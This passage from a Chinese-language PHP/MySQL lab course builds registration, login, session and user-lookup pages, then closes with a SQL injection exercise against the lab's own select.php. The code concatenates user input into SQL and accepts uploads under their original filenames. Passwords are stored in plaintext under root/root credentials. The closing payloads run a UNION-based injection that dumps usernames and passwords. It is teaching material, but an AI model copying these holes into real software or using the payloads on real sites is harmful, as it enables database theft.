$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>
接下来连接数据的文件我们分开,然后包含引用
conn.php
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
?>
其他需要调用该文件的php
<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "create DATABASE myDaB";
if (mysqli_query($conn, $sql)) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
?>
面向对象的
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
// 创建数据库
$sql = "CREATE DATABASE myDB";
if ($conn->query($sql) === TRUE) {
echo "数据库创建成功";
} else {
echo "Error creating database: " . $conn->error;
}
$conn->close();
?>
//使用pdo技术的
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
try {
$conn = new PDO("mysql:host=$servername", $username, $password);
// 设置 PDO 错误模式为异常
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "CREATE DATABASE myDBPDO";
// 使用 exec() ,因为没有结果返回
$conn->exec($sql);
echo "数据库创建成功<br>";
}
catch(PDOException $e)
{
echo $sql . "<br>" . $e->getMessage();
}
$conn = null;
?>
创建表(面对过程)
//需要设置进去的库
conn.php 文件 新增
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "myDB";
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
?>
生成表内基本框架
<head>
<meta charset=utf-8>
</head>
<?php
include("conn.php");
$sql = "CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` INT(11) NOT NULL,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
if (mysqli_query($conn, $sql)) {
echo "数据表创建成功";
} else {
echo "创建数据表错误: " . mysqli_error($conn);
}
mysqli_close($conn);
?>
结合注册页面开始完成实验
网站首页源码
注册页面源码
<head>
<meta charset="utf-8">
</head>
<?php
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
$ERR="注册成功";
echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">
需求:
1、先判断是否有库,如果没有库就创建
2、判断是否有表,没有表直接创建
3、注册成功后直接将数据插入到表的内容里面
最后代码:
conn.php
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
// mysqli_close($conn);
?>
}
}
// mysqli_close($conn);
?>
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if(empty($name) && empty($password1) &&
empty($password2) && empty($shouji)){
$zhErr="用户名、密码、手机号码不能为空";
}elseif(strlen($password1)<8){
$zhErr="密码长度必须大于等于8位";
}elseif($password1!=$password2){
$zhErr="两次密码不一致";
}elseif(strlen($shouji)!=11){
$zhErr="手机号码不符合规范";
}else{
//开始处理图片
if (file_exists("tupian/" . $tupian["name"])){
echo $tupian["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($tupian["tmp_name"], "tupian/" . $tupian["name"]);
$tupianfile=$tupian['name'];
echo "文件存储在:tupian/".$tupianfile;
}
$tupianfile=$tupian['name'];
$sqlinsert="
insert into kkk_tbl(user,pass,phone,file)
values('$name','$password1','$shouji','$tupianfile');
";
echo "$sqlinsert";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$zhErr="注册成功";
}else{
$zhErr="注册失败";
}
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传图像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php echo $zhErr."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"];?>" alt="上传的图片" />
5.4 查询数据 {#54-查询数据}
从 MySQL 数据库读取数据 {#从-mysql-数据库读取数据}
SELECT 语句用于从数据表中读取数据:
SELECT column_name(s) FROM table_name
查询 字段、字段 从 表名 查询
那么php联动查询如下
<?php
include('conn.php');
$chaxun="select * from kkk_tbl;";
$lianjie=mysqli_query($conn2,$chaxun);
// var_dump($lianjie);
while($row=mysqli_fetch_assoc($lianjie)){
$user=$row['user'];
$pass=$row['pass'];
$phone=$row['phone'];
echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
}
?>
接下来我们可以自定义查询内容,比如用户通过搜索id可以查询到对应的用户,通过搜索账号可以查询到对应的id
首先也是先明白,怎么增加查询条件:
比如,我们只需要查询一个数据表内的id或者admin数据
原始查询代码
select id,username from users where id=2;
优化后的php代码:
<?php
include("conn.php");
$chaxunsql=$_GET['chaxun'];
//增加一个判断,判断传入值是数字还是字符串
if(is_numeric($chaxunsql)){
$chaxunsql="id=$chaxunsql";
}else{
$chaxunsql="username='$chaxunsql'";
}
$chaxun="select id,username from users where $chaxunsql ";
$reslust=mysqli_query($conn,$chaxun);
//mysqli_fetch_assoc() 查询数据库结果并且赋值为一行
@$row = mysqli_fetch_assoc($reslust);
$id = $row["id"];
$username=$row["username"];
//提取row数字中的username字段
$html = "id:$id</br>username:$username</br>";
?>
<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
</head>
</html>
<?php echo $html;?>
实验六:网站登录注册+登录页面Pro {#实验六:网站登录注册登录页面pro}
如何结合之前的页面写出一个完整登录页面呢,需要注意的是需要联动之前的注册页面
任务分解,先写出最简单的登录页面,只需要能够判断是否登录成功即可
<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select username,password from users where username='$username' and password='$password'";
$reslust=mysqli_query($conn,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
$login = "登录成功";
}else{
$login = "登录失败";
}
?>
<html>
<head>
<mate charset="utf-8">
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<?php echo $login;?>
</html>
然后继续丰满代码,增加跳转功能(未授权访问漏洞)
<?php
header('Location:youxi.php');
?>
继续增加代码,需要登录以后才能访问youxi.php
基础代码:
$_SESSION['login']='true';
只需要增加一个判断语句,识别只要login状态为true,即代表正常登录
<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
echo "您已经成功登陆";
} else {
$_SESSION["login"] == false;
die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
?>
最终完整的代码如下:
当前文件夹下的路径如下:
tupian 文件夹(用来存放图片)
login.php 登录页面
zhuxiao.php 注销页面
conn.php 数据库连接页面
zhuce.php 注册页面
session.php 管理session
youxi.php 假装后台页面
代码如下:
login.php 登录页面
<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf-8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<a href="zhuce.php">点击注册</a></br>
<?php echo $login;?>
</html>
zhuxiao.php 注销页面
<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>
conn.php 数据库连接页面
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
?>
zhuce.php 注册页面
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注册成功</br>";
}else{
$ERR="注册失败</br>";
};
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">
session.php 管理session
<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
} else {
$_SESSION["login"] == false;
die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
}
?>
youxi.php 假装后台页面.
<?php
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
<h1>游戏页面</h1>
<a href="select.php">点击账号以及ID的对应关系</a>
<a href="jsq.php">数字炸弹</a>
</head>
</html>
6/6、PHP登录页面实战 {#66、php登录页面实战}
实验七:综合作业(注册、登录、玩游戏) {#实验七:综合作业(注册、登录、玩游戏)}
用户登录以后可以直接打开多个链接,比如之前写入的用户查询页面,计算页面,可以将我们之前写入的都写进来
思路:
将session功能单独变成一个文件,在不同的页面里面引入即可
select.php攻击实战(sql初次尝试)
轮子:admin' and '1'='1
查询字段数量:admin' order by 2--+'
查询回显位置:-admin' union select 1,2--+'
查询数据库库:-admin' union select database(),2--+'
查询数据表:
select table_name from information_schema.tables where table_schema="kkk";
变形:
-admin' union select table_name,2 from information_schema.tables where table_schema='kkk
继续查询字段:
-admin' union select group_concat(column_name),2 from information_schema.columns where table_name='kkk_tbl
查询数据内容:
-admin' union select group_concat(user,pass),2 from kkk_tbl where '1' ='1